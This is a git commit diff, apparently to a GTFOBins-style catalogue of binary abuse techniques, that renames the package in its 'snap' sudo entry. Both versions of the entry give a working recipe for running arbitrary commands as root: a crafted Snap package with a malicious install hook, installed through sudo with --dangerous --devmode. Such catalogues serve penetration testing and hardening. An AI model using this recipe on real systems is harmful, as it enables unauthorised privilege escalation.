update snap data source

master
Mr. Robot 3 years ago committed by GitHub
parent 844181be36
commit 0aabb91c9a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -2,8 +2,8 @@
"functions": {
"sudo": [
{
"description": "It runs commands using a specially crafted Snap package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```cd $(mktemp -d)\nmkdir -p meta/hooks\nprintf '#!/bin/sh\\n%s; false' \"[command]\" >meta/hooks/install\nchmod +x meta/hooks/install\nfpm -n x -s dir -t snap -a all meta\n```",
"code": "sudo snap install x_1.0_all.snap --dangerous --devmode\n"
"description": "It runs commands using a specially crafted Snap package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```cd $(mktemp -d)\nmkdir -p meta/hooks\nprintf '#!/bin/sh\\n%s; false' \"[command]\" >meta/hooks/install\nchmod +x meta/hooks/install\nfpm -n xxxxx -s dir -t snap -a all meta\n```",
"code": "sudo snap install xxxxx_1.0_all.snap --dangerous --devmode\n"
}
]
}

Loading…
Cancel
Save